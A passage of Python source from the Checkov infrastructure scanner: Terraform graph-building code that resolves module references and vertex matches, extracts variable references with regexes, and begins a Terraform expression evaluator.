os.path.abspath(Path(curr_module_dir) / dest_module_source) return self.relative_paths_cache[relative_path_key] elif (dest_module_source, dest_module_version) in self.module.external_modules_source_map: return self.module.external_modules_source_map[(dest_module_source, dest_module_version)] # this happens, when we have external modules, which weren't downloaded return "" def _find_vertex_index_relative_to_path( self, block_type: str, name: str, block_path: str, relative_module_idx: Optional[int] = None, source_module_object: Optional[TFModule] = None, origin_vertex_index: Optional[int] = None, ) -> int: relative_vertices: list[int] = [] if relative_module_idx is None: module_dependency_by_name_key = source_module_object else: if isinstance(relative_module_idx, str) and relative_module_idx.isnumeric(): relative_module_idx = int(relative_module_idx) vertex = self.vertices[relative_module_idx] module_dependency_by_name_key = vertex.source_module_object # important to use this specific map for big graph performance possible_vertices = self._get_possible_vertices(module_dependency_by_name_key, block_type, name) for vertex_index in possible_vertices: vertex = self.vertices[vertex_index] if self.get_dirname(vertex.path) == self.get_dirname(block_path): relative_vertices.append(vertex_index) if len(relative_vertices) == 1: relative_vertex = relative_vertices[0] else: relative_vertex = self._find_vertex_with_best_match(relative_vertices, block_path, origin_vertex_index) return relative_vertex def _get_possible_vertices(self, module_dependency_by_name_key: TFModule | None, block_type: str, name: str) -> list[int]: possible_vertices = self.vertices_by_module_dependency_by_name.get(module_dependency_by_name_key, {}).get(block_type, {}).get(name, []) if possible_vertices: return possible_vertices return self.vertices_by_module_dependency_by_name.get(module_dependency_by_name_key, {}).get(block_type, {}).get(name.replace(LEFT_BRACKET_WITH_QUOTATION, LEFT_BRACKET).replace(RIGHT_BRACKET_WITH_QUOTATION, RIGHT_BRACKET), []) def _find_vertex_with_best_match(self, relevant_vertices_indexes: List[int], origin_path: str, origin_vertex_index: Optional[int] = None) -> int: vertex_index_with_longest_common_prefix = -1 longest_common_prefix = "" vertices_with_longest_common_prefix = [] origin_real_path = os.path.realpath(origin_path) for vertex_index in relevant_vertices_indexes: vertex = self.vertices[vertex_index] if vertex.path in self._vertex_path_to_realpath_cache: # Using cache to make sure performance stays stable vertex_realpath = self._vertex_path_to_realpath_cache[vertex.path] else: vertex_realpath = os.path.realpath(vertex.path) self._vertex_path_to_realpath_cache[vertex.path] = vertex_realpath common_prefix = os.path.commonpath([vertex_realpath, origin_real_path]) # checks if module name is same for dest and origin vertex. if origin_vertex_index is not None: vertex_module_name = vertex.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS, '') origin_module_name = self.vertices[origin_vertex_index].attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS, '') common_prefix = self._get_common_prefix_name(origin_module_name, vertex_module_name, common_prefix) if len(common_prefix) > len(longest_common_prefix): vertex_index_with_longest_common_prefix = vertex_index longest_common_prefix = common_prefix vertices_with_longest_common_prefix = [(vertex_index, vertex)] elif len(common_prefix) == len(longest_common_prefix): vertices_with_longest_common_prefix.append((vertex_index, vertex)) if len(vertices_with_longest_common_prefix) <= 1: return vertex_index_with_longest_common_prefix # Try to compare based on foreach attributes if we have more than 1 vertex in the list if origin_vertex_index is not None: return self._find_best_match_based_on_foreach_key(origin_vertex_index, vertices_with_longest_common_prefix, vertex_index_with_longest_common_prefix) return vertex_index_with_longest_common_prefix @staticmethod def _get_common_prefix_name(origin_module_name: str, vertex_module_name: str, common_prefix: str) -> str: if vertex_module_name.startswith(BlockType.MODULE) and origin_module_name.startswith(BlockType.MODULE): origin_parts = origin_module_name.split('.') vertex_parts = vertex_module_name.split('.') common_parts = [] for o, v in zip(origin_parts, vertex_parts): # noqa: B905 if o == v: common_parts.append(o) else: break if common_parts: common_prefix = f"{common_prefix} {'.'.join(common_parts)}" return common_prefix.strip() def _find_best_match_based_on_foreach_key( self, origin_vertex_index: int, vertices_with_longest_common_prefix: list[tuple[int, TerraformBlock]], vertex_index_with_longest_common_prefix: int ) -> int: origin_vertex = self.vertices[origin_vertex_index] for vertex_index, vertex in vertices_with_longest_common_prefix: vertex_address = vertex.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS, '') vertex_foreach_value = vertex.for_each_index origin_address = origin_vertex.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS, '') origin_foreach_value = origin_vertex.for_each_index if origin_foreach_value == vertex_foreach_value and origin_address != '' and \ get_terraform_foreach_or_count_key(origin_address) == \ get_terraform_foreach_or_count_key(vertex_address): return vertex_index return vertex_index_with_longest_common_prefix def get_vertices_hash_codes_to_attributes_map(self) -> Dict[str, Dict[str, Any]]: return {vertex.get_hash(): vertex.get_attribute_dict() for vertex in self.vertices} def order_edges_by_hash_codes(self) -> Dict[str, Edge]: edges = {} for edge in self.edges: edge_data = { "edge_label": edge.label, "from_vertex_hash": self.get_vertex_hash_by_index(vertex_index=edge.origin), "to_vertex_hash": self.get_vertex_hash_by_index(vertex_index=edge.dest), } edge_hash = calculate_hash(edge_data) edges[edge_hash] = edge return edges def get_vertex_hash_by_index(self, vertex_index: int) -> str: return self.vertex_hash_cache.setdefault(vertex_index, self.vertices[vertex_index].get_hash()) def update_vertex_attribute( self, vertex_index: int, attribute_key: str, attribute_value: Any, change_origin_id: int | None, attribute_at_dest: Optional[Union[str, List[str]]], transform_step: bool = False, ) -> None: if change_origin_id is None: # no need to proceed further return previous_breadcrumbs = [] attribute_at_dest = self.vertices[change_origin_id].find_attribute(attribute_at_dest) if attribute_at_dest: previous_breadcrumbs = self.vertices[change_origin_id].changed_attributes.get(attribute_at_dest, []) self.vertices[vertex_index].update_attribute( attribute_key, attribute_value, change_origin_id, previous_breadcrumbs, attribute_at_dest ) def update_vertices_configs(self) -> None: for vertex in self.vertices: changed_attributes = list(vertex.changed_attributes.keys()) changed_attributes = filter_sub_keys(changed_attributes) self.update_vertex_config(vertex, changed_attributes) @staticmethod def update_vertex_config(vertex: TerraformBlock, changed_attributes: Union[List[str], Dict[str, Any]], dynamic_blocks: bool = False) -> None: if not changed_attributes: # skip, if there is no change return vertex_name = vertex.name updated_config = pickle_deepcopy(vertex.config) if vertex.block_type == BlockType.PROVIDER: # provider blocks set the alias as a suffix to the name, ex. name: "aws.prod" vertex_name = vertex_name.split(".")[0] if vertex.block_type != BlockType.LOCALS: parts = vertex_name.split(".") start = 0 end = 1 while end <= len(parts): cur_key = ".".join(parts[start:end]) if cur_key in updated_config: updated_config = updated_config[cur_key] start = end end += 1 for changed_attribute in changed_attributes: new_value = vertex.attributes.get(changed_attribute, None) if new_value is not None: if vertex.block_type == BlockType.LOCALS: changed_attribute = changed_attribute.replace(f"{vertex_name}.", "") updated_config = update_dictionary_attribute(updated_config, changed_attribute, new_value, dynamic_blocks) if len(changed_attributes) > 0: if vertex.block_type == BlockType.LOCALS: updated_local_config = updated_config.get(vertex_name) update_dictionary_attribute(vertex.config, vertex_name, updated_local_config, dynamic_blocks) return update_dictionary_attribute(vertex.config, vertex_name, updated_config, dynamic_blocks) def get_resources_types_in_graph(self) -> List[str]: return self.module.get_resources_types() def _update_vertices_breadcrumbs_and_module_connections(self) -> None: """ The function processes each vertex's breadcrumbs: 1. Get more data to each vertex in breadcrumb (name, path, hash and type) 2. If a breadcrumb is originated in a different module, it will have 'module_connection'=True 3. If a vertex has a 'source module' we will add a special breadcrumb for it """ for vertex in self.vertices: for attribute_key, breadcrumbs_list in vertex.changed_attributes.items(): hash_breadcrumbs = [] for breadcrumb in breadcrumbs_list: v = self.vertices[breadcrumb.vertex_id] breadcrumb = v.get_export_data() breadcrumb["module_connection"] = self._determine_if_module_connection(breadcrumbs_list, v) hash_breadcrumbs.append(breadcrumb) vertex.breadcrumbs[attribute_key] = hash_breadcrumbs if len(vertex.source_module) == 1: v = vertex source_module_data = [] while len(v.source_module) == 1: idx = list(v.source_module)[0] v = self.vertices[idx] module_data = v.get_export_data() module_data["idx"] = idx if hasattr(vertex, "source_module_object"): module_data["source_module_object"] = v.source_module_object source_module_data.append(module_data) source_module_data.reverse() vertex.breadcrumbs[CustomAttributes.SOURCE_MODULE] = source_module_data @staticmethod def _determine_if_module_connection(breadcrumbs_list: List[int], vertex_in_breadcrumbs: TerraformBlock) -> bool: """ :param breadcrumbs_list: list of vertex's breadcrumbs :param vertex_in_breadcrumbs: one of the vertices in the breadcrumb list :return: True if vertex_in_breadcrumbs has in its module_connections at least one of the vertices in breadcrumbs_list """ if not vertex_in_breadcrumbs.module_connections: return False for connection_list in vertex_in_breadcrumbs.module_connections.values(): if any(i in breadcrumbs_list for i in connection_list): return True return False def get_dirname(self, path: str) -> str: dir_name = self.dirname_cache.get(path) if not dir_name: dir_name = os.path.dirname(path) self.dirname_cache[path] = dir_name return dir_name def get_abspath(self, path: str) -> str: dir_name = self.abspath_cache.get(path) if not dir_name: dir_name = os.path.abspath(path) self.abspath_cache[path] = dir_name return dir_name def _update_nested_modules_address(self) -> None: for vertex in self.vertices: if vertex.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS) is not None: # Can happen for example in `tf_plan` files as the address already exists continue if vertex.block_type not in parser_registry.context_parsers: continue source_module = vertex.breadcrumbs.get(CustomAttributes.SOURCE_MODULE) address_prefix = '' if source_module: for module in source_module: address_prefix += f"{module.get('type')}.{module.get('name')}." context_parser = parser_registry.context_parsers[vertex.block_type] entity_context_path = context_parser.get_entity_context_path(vertex.config) resource_id = '.'.join(entity_context_path) if entity_context_path else vertex.name address = f'{address_prefix}{resource_id}' vertex.attributes[CustomAttributes.TF_RESOURCE_ADDRESS] = address vertex_context = vertex.config definition_path = context_parser.get_entity_definition_path(vertex.config) for path in definition_path: vertex_context = vertex_context.get(path, vertex_context) vertex_context[CustomAttributes.TF_RESOURCE_ADDRESS] = address def _should_add_edge(self, vertex: TerraformBlock, dest_module_path: str, module_node: TerraformBlock) -> bool: if not vertex.source_module_object: return False return (self.get_dirname(vertex.path) == dest_module_path) and \ ( vertex.source_module_object == module_node.source_module_object # The vertex is in the same file or self.get_abspath(vertex.source_module_object.path) == self.get_abspath(module_node.path) # The vertex is in the correct dependency path) ) def _build_virtual_resources_edges(self, origin_node_index: int, vertex: TerraformBlock) -> None: if CustomAttributes.VIRTUAL_RESOURCES in vertex.config: for i, v in enumerate(self.vertices): if v.name in vertex.config[CustomAttributes.VIRTUAL_RESOURCES]: self.create_edge(i, origin_node_index, VIRTUAL_RESOURCE) def get_vertex_as_tf_module(block: TerraformBlock) -> TFModule: block_name = get_sanitized_terraform_resource_id(block.name) return TFModule(path=block.path, name=block_name, nested_tf_module=block.source_module_object, foreach_idx=block.for_each_index) ================================================ FILE: checkov/terraform/graph_builder/utils.py ================================================ from __future__ import annotations import logging import os import re from typing import Tuple from typing import Union, List, Any, Dict, Optional, TYPE_CHECKING from checkov.common.typing import LibraryGraph from checkov.common.util.parser_utils import TERRAFORM_NESTED_MODULE_PATH_SEPARATOR_LENGTH, \ TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR from networkx import DiGraph if TYPE_CHECKING: from checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock from checkov.common.util.type_forcers import force_int from checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.variable_rendering.vertex_reference import TerraformVertexReference MODULE_DEPENDENCY_PATTERN_IN_PATH = re.compile(r"\(\[\{.+\#\*\#.+\}\]\)") CHECKOV_RENDER_MAX_LEN = force_int(os.getenv("CHECKOV_RENDER_MAX_LEN", "10000")) CHECKOV_LOREM_IPSUM_VAL = '\x00' def is_local_path(root_dir: str, source: str) -> bool: # https://www.terraform.io/docs/modules/sources.html#local-paths return ( source.startswith(r"./") or source.startswith(r"/./") or source.startswith(r"../") ) def remove_module_dependency_in_path(path: str) -> Tuple[str, str, str]: """ :param path: path that looks like "dir/main.tf[other_dir/x.tf#0] :return: separated path from module dependency: dir/main.tf, other_dir/x.tf """ module_dependency = re.findall(MODULE_DEPENDENCY_PATTERN_IN_PATH, path) if re.findall(MODULE_DEPENDENCY_PATTERN_IN_PATH, path): path = re.sub(MODULE_DEPENDENCY_PATTERN_IN_PATH, "", path) module_and_num = extract_module_dependency_path(module_dependency) return path, module_and_num[0], module_and_num[1] def extract_module_dependency_path(module_dependency: str | List[str]) -> List[str]: """ :param: module_dependency: a list looking like ['[path_to_module.tf#0]'] :return: the path without enclosing array and index: 'path_to_module.tf' """ if not module_dependency: return ["", ""] if isinstance(module_dependency, list): module_dependency = module_dependency[0] return [ module_dependency[3:module_dependency.index(f'.tf{TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR}') + len('.tf')], module_dependency[module_dependency.index(f'.tf{TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR}') + len(f'.tf{TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR}'):-TERRAFORM_NESTED_MODULE_PATH_SEPARATOR_LENGTH] ] BLOCK_TYPES_STRINGS = ("var", "local", "module", "data") FUNC_CALL_PREFIX_PATTERN = re.compile(r"([.a-zA-Z]+)\(") INTERPOLATION_EXPR = re.compile(r"\$\{([^\}]*)\}") INDEX_PATTERN = re.compile(r"\[([0-9]+)\]") MAP_ATTRIBUTE_PATTERN = re.compile(r"\[\"([^\d\W]\w*)\"\]") NESTED_ATTRIBUTE_PATTERN = re.compile(r"\.\d+") def get_vertices_references( str_value: str, aliases: Dict[str, Dict[str, str]], resources_types: List[str] ) -> List[TerraformVertexReference]: has_interpolation = True if "${" in str_value else False vertices_references: "list[TerraformVertexReference]" = [] words_in_str_value = str_value.split() for word in words_in_str_value: if word.startswith((".", r"/.")): # check if word is a relative path continue if has_interpolation: interpolations = re.split(INTERPOLATION_EXPR, word) for interpolation_content in interpolations: add_vertices_references_from_word( vertices_references=vertices_references, word=interpolation_content, aliases=aliases, resources_types=resources_types, ) else: add_vertices_references_from_word( vertices_references=vertices_references, word=word, aliases=aliases, resources_types=resources_types, ) return vertices_references def add_vertices_references_from_word( vertices_references: list[TerraformVertexReference], word: str, aliases: dict[str, dict[str, str]], resources_types: list[str], ) -> None: for w in word.split(","): word_sub_parts = w.split(".") if len(word_sub_parts) <= 1 or word_sub_parts[0].isnumeric(): # if the word doesn't contain a '.' char, or if the first part before the dot is a number continue suspected_block_type = word_sub_parts[0] if suspected_block_type in BLOCK_TYPES_STRINGS: # matching cases like 'var.x' vertex_reference = TerraformVertexReference( block_type=suspected_block_type, sub_parts=word_sub_parts[1:], origin_value=w ) if vertex_reference not in vertices_references: vertices_references.append(vertex_reference) continue vertex_reference_alias = get_vertex_reference_from_alias(suspected_block_type, aliases, word_sub_parts) if vertex_reference_alias and vertex_reference_alias not in vertices_references: vertex_reference_alias.origin_value = w # matching cases where the word is referring an alias vertices_references.append(vertex_reference_alias) continue # matching cases like 'aws_vpc.main' if word_sub_parts[0] in resources_types: block_name = word_sub_parts[0] + "." + word_sub_parts[1] word_sub_parts = [block_name] + word_sub_parts[2:] vertex_reference = TerraformVertexReference( block_type=BlockType.RESOURCE, sub_parts=word_sub_parts, origin_value=w ) if vertex_reference not in vertices_references: vertices_references.append(vertex_reference) def get_vertex_reference_from_alias( block_type_str: str, aliases: Dict[str, Dict[str, str]], val: List[str] ) -> Optional[TerraformVertexReference]: if not aliases: return None block_type = "" if block_type_str in aliases: block_type = aliases[block_type_str][CustomAttributes.BLOCK_TYPE] aliased_provider = ".".join(val) if aliased_provider in aliases: block_type = aliases[aliased_provider][CustomAttributes.BLOCK_TYPE] if block_type: return TerraformVertexReference(block_type=block_type, sub_parts=val, origin_value="") return None def remove_function_calls_from_str(str_value: str) -> str: if "(" not in str_value: # otherwise it can't be a function call return str_value # remove start of function calls:: 'length(aws_vpc.main) > 0 ? aws_vpc.main[0].cidr_block : ${var.x}' --> 'aws_vpc.main) > 0 ? aws_vpc.main[0].cidr_block : ${var.x}' str_value = re.sub(FUNC_CALL_PREFIX_PATTERN, "", str_value) # remove ')' return str_value.replace(")", "") def remove_index_pattern_from_str(str_value: str) -> str: if "[" not in str_value: # otherwise it can't be accessed via index return str_value # Workaround for cases where the string value contains a map attribute access for foreach data block # UT for this - `test_foreach_data_with_resource` -> /variable_rendering/test_foreach_renderer.py if "data." in str_value: return str_value str_value = re.sub(INDEX_PATTERN, "", str_value) str_value = str_value.replace('["', CHECKOV_LOREM_IPSUM_VAL).replace("[", " [ ").replace(CHECKOV_LOREM_IPSUM_VAL, '["') str_value = str_value.replace('"]', CHECKOV_LOREM_IPSUM_VAL).replace("]", " ] ").replace(CHECKOV_LOREM_IPSUM_VAL, '"]') return str_value def remove_interpolation(str_value: str) -> str: if "${" not in str_value: # otherwise it can't be a string interpolation return str_value return str_value.replace("${", " ").replace("}", " ") def replace_map_attribute_access_with_dot(str_value: str) -> str: if "[\"" not in str_value: # otherwise it can't be accessed via named index return str_value split_by_identifiers = re.split(MAP_ATTRIBUTE_PATTERN, str_value) new_split = [] for split_part in split_by_identifiers: if split_part.startswith("."): split_part = split_part[1:] if split_part.endswith("."): split_part = split_part[:-1] new_split.append(split_part) return ".".join(new_split) def get_referenced_vertices_in_value( value: Union[str, List[str], Dict[str, str]], aliases: Dict[str, Dict[str, str]], resources_types: List[str], ) -> List[TerraformVertexReference]: references_vertices: "list[TerraformVertexReference]" = [] if not value or isinstance(value, (bool, int)): # bool/int values can't have a references to other vertices return references_vertices if isinstance(value, list): for sub_value in value: references_vertices += get_referenced_vertices_in_value( sub_value, aliases, resources_types ) if isinstance(value, dict): for sub_value in value.values(): references_vertices += get_referenced_vertices_in_value( sub_value, aliases, resources_types ) if isinstance(value, str): references_vertices = get_referenced_vertices_in_str_value( str_value=value, aliases=aliases, resources_types=resources_types, ) return references_vertices def get_referenced_vertices_in_str_value( str_value: str, aliases: dict[str, dict[str, str]], resources_types: list[str], ) -> list[TerraformVertexReference]: references_vertices: "list[TerraformVertexReference]" = [] value_len = len(str_value) if CHECKOV_RENDER_MAX_LEN and 0 < CHECKOV_RENDER_MAX_LEN < value_len: logging.debug( f'Rendering was skipped for a {value_len}-character-long string. If you wish to have it ' f'evaluated, please set the environment variable CHECKOV_RENDER_MAX_LEN ' f'to {str(value_len + 1)} or to 0 to allow rendering of any length' ) else: if value_len < 5 or "." not in str_value: # the shortest reference is 'var.a' and references are done via dot notation return references_vertices str_value = remove_function_calls_from_str(str_value=str_value) str_value = remove_index_pattern_from_str(str_value=str_value) str_value = remove_interpolation(str_value=str_value) references_vertices = get_vertices_references(str_value, aliases, resources_types) return references_vertices def generate_possible_strings_from_wildcards(origin_string: str, max_entries: int = 10) -> List[str]: max_entries = int(os.environ.get("MAX_WILDCARD_ARR_SIZE", max_entries)) generated_strings = [origin_string] if not origin_string: return [] if "*" not in origin_string: return generated_strings locations_of_wildcards = [] for i, char in enumerate(origin_string): if char == "*": locations_of_wildcards.append(i) locations_of_wildcards.reverse() for wildcard_index in locations_of_wildcards: new_generated_strings = [] for s in generated_strings: before_wildcard = s[:wildcard_index] after_wildcard = s[wildcard_index + 1:] for i in range(max_entries): new_generated_strings.append(before_wildcard + str(i) + after_wildcard) generated_strings = new_generated_strings # if origin_string == "ingress.*.cidr_blocks", check for "ingress.cidr_blocks" too generated_strings.append("".join(origin_string.split(".*"))) return generated_strings def attribute_has_nested_attributes(attribute_key: str, attributes: Dict[str, Any], attribute_is_leaf: Optional[Dict[str, bool]] = None) -> bool: """ :param attribute_key: key inside the `attributes` dictionary :param attributes: :return: True if attribute_key has inner attributes. Example 1: if attributes.keys == [key1, key.key2], type(attributes[key1]) is dict and return True for key1 Example 2: if attributes.keys == [key1, key1.0], type(attributes[key1]) is list and return True for key1 """ if attribute_is_leaf is None: attribute_is_leaf = {} if attribute_is_leaf.get(attribute_key): prefixes_with_attribute_key = [] else: prefixes_with_attribute_key = [a for a in attributes if a.startswith(attribute_key) and a != attribute_key] if not any(re.findall(NESTED_ATTRIBUTE_PATTERN, a) for a in prefixes_with_attribute_key): # if there aro no numeric parts in the key such as key1.0.key2 return isinstance(attributes[attribute_key], dict) return isinstance(attributes[attribute_key], list) or isinstance(attributes[attribute_key], dict) def attribute_has_dup_with_dynamic_attributes(attribute_key: str, attributes: dict[str, Any] | list[str]) -> bool: """ :param attribute_key: key inside the `attributes` dictionary :param attributes: `attributes` dictionary :return: True if attribute_key has duplicate attribute with dynamic reference. :example: if attributes.keys == [name.rule, dynamic.name.content.rule] -> will return True. """ attribute_key_paths = attribute_key.split('.') if len(attribute_key_paths) > 1: attar_key_dynamic_ref = f"dynamic.{attribute_key_paths[0]}.content.{attribute_key_paths[1]}" return attar_key_dynamic_ref in attributes else: return False def get_related_resource_id(resource: dict[str, Any], file_path_to_referred_id: dict[str, str]) -> str | None: resource_id = resource.get(CustomAttributes.ID) # for external modules resources the id should start with the prefix module.[module_name] if resource.get(CustomAttributes.MODULE_DEPENDENCY): referred_id = file_path_to_referred_id.get( f'{resource.get(CustomAttributes.FILE_PATH)}[{resource.get(CustomAttributes.MODULE_DEPENDENCY)}#{resource.get(CustomAttributes.MODULE_DEPENDENCY_NUM)}]') resource_id = f'{referred_id}.{resource_id}' return resource_id def get_file_path_to_referred_id_networkx(graph_object: DiGraph) -> dict[str, str]: file_path_to_module_id = {} modules = [node for node in graph_object.nodes.values() if node.get(CustomAttributes.BLOCK_TYPE) == BlockType.MODULE] for modules_data in modules: for module_name, module_content in modules_data.get(CustomAttributes.CONFIG, {}).items(): for path in module_content.get("__resolved__", []): file_path_to_module_id[path] = f"module.{module_name}" return file_path_to_module_id def get_file_path_to_referred_id_rustworkx(graph_object: DiGraph) -> dict[str, str]: file_path_to_module_id = {} modules = [node for index, node in graph_object.nodes() if node.get(CustomAttributes.BLOCK_TYPE) == BlockType.MODULE] for modules_data in modules: for module_name, module_content in modules_data.get(CustomAttributes.CONFIG, {}).items(): for path in module_content.get("__resolved__", []): file_path_to_module_id[path] = f"module.{module_name}" return file_path_to_module_id def setup_file_path_to_referred_id(graph_object: LibraryGraph) -> dict[str, str]: if isinstance(graph_object, DiGraph): return get_file_path_to_referred_id_networkx(graph_object) else: return get_file_path_to_referred_id_rustworkx(graph_object) def get_attribute_is_leaf(vertex: TerraformBlock) -> Dict[str, bool]: attribute_is_leaf = {} for attribute in vertex.attributes: attribute_is_leaf[attribute] = True other = '.'.join(attribute.split('.')[:-1]) if other in attribute_is_leaf: attribute_is_leaf[other] = False return attribute_is_leaf ================================================ FILE: checkov/terraform/graph_builder/variable_rendering/__init__.py ================================================ ================================================ FILE: checkov/terraform/graph_builder/variable_rendering/evaluate_terraform.py ================================================ from __future__ import annotations import ast import json import logging import os import re from typing import Any, Union, Optional, List, Dict, Callable, TypeVar, Tuple from checkov.common.util.type_forcers import force_int from checkov.common.util.parser_utils import find_var_blocks import checkov.terraform.graph_builder.variable_rendering.renderer as renderer from checkov.terraform.graph_builder.variable_rendering.safe_eval_functions import evaluate T = TypeVar("T", str, int, bool) # %{ some_text } DIRECTIVE_EXPR = re.compile(r"\%\{([^\}]*)\}") # exclude "']" one the right side of the compare via (?!']), this can happen with a base64 encoded string COMPARE_REGEX = re.compile(r"^(?P.+?)\s*(?P==|!=|>=|>|<=|<|&&|\|\|)\s*(?P(?!']).+)$") COMPARE_OPERATORS = (" == ", " != ", " < ", " <= ", " > ", " >= ", " && ", " || ") REMOVE_TRAILING_COMMAS = re.compile(r',(\s*[}\]])') CHECKOV_RENDER_MAX_LEN = force_int(os.getenv("CHECKOV_RENDER_MAX_LEN", "10000")) def evaluate_terraform(input_str: Any, keep_interpolations: bool = True) -> Any: if input_str is None or isinstance(input_str, int): # no need for further evaluation return input_str if isinstance(input_str, str) and CHECKOV_RENDER_MAX_LEN and 0 < CHECKOV_RENDER_MAX_LEN < len(input_str): logging.debug(f'Rendering was skipped for a {len(input_str)}-character-long string. If you wish to have it ' f'evaluated, please set the environment variable CHECKOV_RENDER_MAX_LEN ' f'to {str(len(input_str) + 1)} or to 0 to allow rendering of any length') return input_str evaluated_value = _try_evaluate(input_str) if type(evaluated_value) is not str: return input_str if callable(evaluated_value) else evaluated_value evaluated_value = evaluated_value.replace("\n", "") evaluated_value = evaluated_value.replace(",,", ",") # if we try to strip interpolations but that does not help evaluation, then we should add them back in the case that # the interpolated string is part of a substring, so it can be identified by the "is_variable_dependent" method. # For example, the value "abc-${var.x}-xyz" will not be identified as a variable if we remove the interpolation # However, if the full value is just an interpolated variable, like ${var.xyz}, then we can leave them off, because # it won't affect that method and breaks certain policies and other logic that was written in a specific way value_before_removing_interpolations = evaluated_value if not keep_interpolations: evaluated_value = remove_interpolation(evaluated_value) if '${' + evaluated_value + '}' == value_before_removing_interpolations: value_before_removing_interpolations = evaluated_value value_after_removing_interpolations = evaluated_value evaluated_value = evaluate_map(evaluated_value) evaluated_value = evaluate_list_access(evaluated_value) evaluated_value = strip_double_quotes(evaluated_value) evaluated_value = evaluate_directives(evaluated_value) evaluated_value = strip_interpolation_marks(evaluated_value) evaluated_value = evaluate_conditional_expression(evaluated_value) evaluated_value = evaluate_compare(evaluated_value) evaluated_value = evaluate_json_types(evaluated_value) evaluated_value = handle_for_loop(evaluated_value) second_evaluated_value = None if isinstance(evaluated_value, str): second_evaluated_value = _try_evaluate(evaluated_value) if second_evaluated_value and callable(second_evaluated_value): return evaluated_value elif not keep_interpolations and second_evaluated_value == value_after_removing_interpolations: return value_before_removing_interpolations else: second_evaluated_value = _eval_merge_as_list(second_evaluated_value) return second_evaluated_value def _eval_merge_as_list(eval_value: Any) -> Any: """ Edge case for an eval in eval. UT for this: test_jsonpath_equals_ecs_with_merge """ if eval_value and isinstance(eval_value, list) and isinstance(eval_value[0], str) and eval_value[0].startswith('merge'): return _try_evaluate(eval_value[0]) return eval_value def _try_evaluate(input_str: Union[str, bool]) -> Any: try: result = evaluate(input_str) # type:ignore[arg-type] if result is None: raise Exception(f"Can't evaluate {input_str}") return result except Exception: try: return evaluate(f'"{input_str}"') except Exception: try: # Sometimes eval can fail on correct terraform input like 'true'/'false', # as python's values are with capital T/F. # However, json does know how to handle it, so we use it instead. if isinstance(input_str, str): return json.loads(input_str) return input_str except Exception: try: # Remove trailing commas before } or ] input_str_no_trailing = REMOVE_TRAILING_COMMAS.sub(r'\1', input_str) # type:ignore[arg-type] return json.loads(input_str_no_trailing) except Exception: return input_str def replace_string_value(original_str: Any, str_to_replace: str, replaced_value: str, keep_origin: bool = True) -> Any: if original_str is None or type(original_str) not in (str, list): return original_str if type(original_str) is list: for i, item in enumerate(original_str): original_str[i] = replace_string_value(item, str_to_replace, replaced_value, keep_origin) if type(replaced_value) in [int, float, bool]: original_str[i] = evaluate_terraform(original_str[i]) return original_str if str_to_replace not in original_str: return original_str if keep_origin else str_to_replace string_without_interpolation = remove_interpolation(original_str, str_to_replace, escape_unrendered=False) if (isinstance(replaced_value, (list, dict)) and not str_to_replace.startswith('"')): # In cases we are rendering a variable of list/dict, it might result in mistakenly transforming them to str. # By adding the wrap with `"` we make sure that we replace them as well and thus preserve the original type. wrapped_str_to_replace = f'"{str_to_replace}"' if wrapped_str_to_replace in string_without_interpolation: str_to_replace = wrapped_str_to_replace res = string_without_interpolation.replace(str_to_replace, str(replaced_value)) return res def _string_changed_except_interpolation(str_before: str, str_after: str) -> bool: return abs(len(str_before) - len(str_after)) != 3 def _find_new_value_for_interpolation(origin_str: str, str_to_replace: str, new_value: str) -> str: """ This function checks whether we should escape the interpolated value, to avoid syntax error. Example: origin_str = "${lookup({'a': ${local.protocol1}},\"a\",\"https\")}" If we don't escape local.protocol1, the lookup function will fail, i.e - invalid - ${lookup({'a': local.protocol1},\"a\",\"https\")} valid - ${lookup({'a': 'local.protocol1'},\"a\",\"https\")} Default to return is new_value """ try: # First part - checking if not-escaped is valid. not_escaped = origin_str.replace(str_to_replace, new_value) first_evaluated = evaluate_terraform(not_escaped) if _string_changed_except_interpolation(not_escaped, first_evaluated): # checking if the len difference != 3 checks if we didn't only remove the '${}' return new_value second_evaluated = _try_evaluate(first_evaluated) if first_evaluated != second_evaluated and _string_changed_except_interpolation(not_escaped, second_evaluated): return new_value # Second part - checking if escaped is valid escaped_new_value = f'"{new_value}"' escaped = origin_str.replace(str_to_replace, escaped_new_value) first_evaluated = evaluate_terraform(escaped) if escaped != first_evaluated and _string_changed_except_interpolation(escaped, first_evaluated): return escaped_new_value second_evaluated = _try_evaluate(first_evaluated) if first_evaluated != second_evaluated: return escaped_new_value else: return new_value except Exception: return new_value def remove_interpolation(original_str: str, var_to_clean: Optional[str] = None, escape_unrendered: bool = True) -> str: # get all variable references in string # remove from the string all ${} or '${}' occurrences var_blocks = find_var_blocks(original_str) var_blocks.reverse() for block in var_blocks: if ( block.full_str.startswith("${") and block.full_str.endswith("}") and (not var_to_clean or block.var_only == var_to_clean) ): full_str_start = original_str.find(block.full_str) full_str_end = full_str_start + len(block.full_str) if ( full_str_start > 0 and full_str_end <= len(original_str) - 2 and original_str[full_str_start - 1] == "'" and original_str[full_str_start - 1] == original_str[full_str_end] and "." in block.full_str ): # checking if ${} is wrapped with '' like : '${}' original_str = original_str[:full_str_start - 1] + block.full_str + original_str[full_str_end + 1:] if escape_unrendered: block.var_only = f"'{block.var_only}'" else: block.var_only = _find_new_value_for_interpolation(original_str, block.full_str, block.var_only) original_str = original_str.replace(block.full_str, block.var_only) return original_str def strip_double_quotes(input_str: str) -> str: if input_str.startswith('"') and input_str.endswith('"'): input_str = input_str[1:-1] return input_str def strip_interpolation_marks(input_str: str) -> str: if input_str.startswith("${") and input_str.endswith("}"): # remove the needed char length of the interpolation marks input_str = input_str[2:-1] return input_str def evaluate_conditional_expression(input_str: str) -> str: if input_str.startswith("['${") and input_str.endswith("}']"): condition = find_conditional_expression_groups(input_str[4:-3]) if condition is not None: input_str = input_str[4:-3] else: condition = find_conditional_expression_groups(input_str) if condition is None: return input_str while condition: groups, start, end = condition if len(groups) != 3: return input_str evaluated_condition = evaluate_compare(groups[0]) if type(evaluated_condition) is str: evaluated_condition = 